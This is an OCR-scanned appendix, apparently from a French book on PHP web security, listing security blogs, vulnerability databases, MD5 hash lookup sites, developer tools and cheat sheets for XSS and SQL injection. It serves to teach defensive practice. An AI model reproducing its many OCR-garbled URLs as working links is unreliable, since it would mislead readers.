Le blog de Jeremiah Grossman est souvent relie bilateralement avec celui de Rsnake. On 
y trouve notamment une collection des hacks de 2006, avec les inventions de l'annee en 
termes de techniques d'attaque. 

Jungsonn studios 

http://www.0x000000.com 

Le blog de Jungsonn, consacre a la securite des applications web. 
OWASP 

http://www.owasp.org/index.php/Main_Page 

Ce site est celui de Open Web Application Security Project, consacre a la securite des 
applications web. C'est une mine d'informations. 

Sites de vulnerability 

SecurityFocus : http://www.securityfocus.com (en anglais) ; 
Secunia : http://www.secunia.com (en anglais) ; 
FrSIRT : http://www.frsirt.com (en anglais) ; 

CVE, Common Vulnerabilities and Exposure : http://cve.mitre.org (en anglais) ; 
OSVDB : http://www.osvdb.org (en anglais). 

Sans.org 

http :/ /www. sans .org/ top20 

Ce site dresse la liste des 20 principales menaces de securite de l'annee en cours pour 
les ordinateurs. 

CGI security 

http://www.cgisecurity.com 

http :/ /www. cgi security. com/ a rti cl es 

II s'agit d'un site d'actualites concernant la securite des applications web. II propose entre 
autres plusieurs foires aux questions sur la securite, sur differentes attaques et methodes 
de defenses a mettre en place. 
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Web Application Security Consortium 

http://www.webappsec.org 

WASC {Web Application Security Consortium) est un groupe d' experts internationaux 
qui se sont federes pour elaborer une demarche Open Source de securite sur le Web. Le 
site propose differents projets et des articles de fond sur la securite. 

Bases de donnees de MD5 

http://gdataonl ine.com/seekhash.php 

C'est une base de donnees de signatures MD5. Elle permet de resoudre les signatures les 
plus courantes, a partir des mots qui ont ete insere dans la base. C'est un bon point de 
depart pour verifier la robustesse d'un mot de passe. Evidemment, une fois que vous 
aurez teste un mot de passe dans cette base, il sera enregistre et facile a retrouver via cette 
meme base... 

http : //md5 . benramsey . com/ 

Cette seconde base de donnees interroge, pour une signature donnee, plusieurs autres 
bases du meme type. 

Firefox Web Developer Tools 

http://chrispederick.com/work/webdevel oper 

Cette extension de FireFox/Mozilla/Flock fournit un ensemble de menus complementai- 
res au navigateur et permet d' analyser une page web, tant au niveau du contenu que de la 
forme. En termes de securite, il est possible de voir et modifier les cookies, de lire les en- 
tetes HTTP echanges, de modifier la signature du navigateur, ou encore de convertir tous 
les champs d'un formulaire en champs de texte. Cette extension est un outil incontournable 
pour les webmestres et les developpeurs. 

Google Code Search 

http://www.google.com/codesearch 

Le fameux moteur de recherche a indexe des centaines de projets Open Source, y 
compris nombre de projets PHP. Si vous recherchez des exemples d' utilisation de fonc- 
tions PHP ou MySQL, ou encore des failles de securite, ce moteur vous permettra de 
fouiller rapidement et avec des expressions rationnelles. 

Koders 

http://www.koders.com 

Voici un autre moteur de recherche consacre au code. Koders effectue des recherches 
dans de nombreux depots de code. II n'a pas recu 1' attention mediatique du Code Search 
de Google, mais est bien plus ancien. 
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Anti-seches 

XSS 

http://ha.ckers.org/xss.html 

Voici la liste la plus complete de formes de XSS, comprenant routes les variations de 
representation de caracteres, les astuces de balises et d'attributs. 

Injections SQL 

http: //www. 0x000000. com/?i =14&bi n=1110 
http : //www. 0x000000 . com/ 

Liste tres complete des types d'injections SQL possibles, par Ronald van den Heetkamp. 
Le reste du blog est aussi a la pointe des techniques de securite. 

Filtrages et protections PHP 

http: //pixel ated-dreams . com/upl oads/mi sc/cheatsheets/Fil teringAndEscaping- 
CheatSheet.pdf 

Fichier PDF telechargeable et realise par Davey Shafik. Filtering and escaping cheat 
sheet cite les differentes fonctions de protection disponibles pour HTML, XML, SQL et 
commandes Shell. 

Apache security cheat-sheet 

http://www.petefreitag.com/item/505.cfm 

Cette liste de securite concerne le serveur web Apache. 

Les fonctions PHP peu compatibles avec UTF-8 

http: //www. phpwact .org/php/i 18n/utf-8 

Cet article recense les fonctions PHP et leur degre d'affinite avec les caracteres UTF-8. 
Ces problemes seront resolus en PHP 6, mais en attendant, il arrive qu'une fonction PHP 
modifie des octets, et perturbe la structure des chaines multi-octets. Au final, cela peut 
ouvrir la porte aux injections HTML. Cette site est done une reference des fonctions a 
surveiller. 
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Sites cites 

Nous avons recense dans cette section, sans ordre particulier, tous les sites cites dans 
le livre : 

• http://www.php.net, le site officiel de PHP ; 

• http://pecl .php.net, le site des extensions PHP ; 

• http://bugs.php.net, le site des bogues PHP ; 

• http://www.mysq! .com, le site officiel de MySQL ; 

• http://dev.mysq! .com, le site des developpeurs MySQL ; 

• http://bugs.mysql .com, le site des bogues MySQL ; 

• http://chrispederick.com/work/webdeveloper, le site des developer tools pour FireFox 
et Mozilla ; 

• http://www.fileinfo.net, un site de reference pour les extensions de fichiers et les 
formats associes ; 

• http://www-128.ibm.com/developerworks/web/library/wa-bayesl, les filtres bayesiens 
pour identifier les spams ; 

• http://www.clamav.net, un anti-virus libre, compatible avec PHP ; 

• http://phpmailer.sourceforge.net, une classe pour construire ses courriels de maniere 
securisee ; 

• http://www.spamhaus.org/, un site qui recense les spammeurs et leurs adresses IP ; 

• http://www.ilovejackdaniels.com/php/email-address-validation, un tutoriel pour 
valider une adresse de courrier electronique ; 

• http://choon.net/php-mail-header.php, un patch PHP pour ajouter des en-tetes aux 
courriels sortants ; 

• http://ilia.ws/archives/149-mail-logging-for-PHP.html, une future fonctionnalite 
pour enregistrer les courriels sortant de PHP ; 

• http://directory.fsf.org/html2pdf.html, application qui convertit les fichiers HTML 
en PDF ; 

• http://www.fpdf.org, une bibliotheque pour creer des fichiers PDF sans extension 
particuliere ; 

• http://bl uga.net/webthumb, un generateur de copies d'ecran sous Mozilla ; 

• http://validator.w3.org, le validateur des standards du W3 Consortium ; 

• http://www.google.com/tool s/f i refox/safebrowsing, une barre de navigation pour iden- 
tifier les sites de phishing ; 

• http : //el sapl . uni caen . f r/di cosyn . html , un dictionnaire des synonymes francais ; 
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• http://gdataonline.com, une base de donnees de signatures MD5 ; 

• http://www.rstack.org/phphop, un projet de pot de miel en PHP ; 

• http://httpd.apache.0rg/docs/l.3/suexec.html, SuExec pour Apache ; 

• http : / /www . dotdeb .org, des paquets Debian pour PHP, MySQL et autres, par Guillaume 
Pies sis. 
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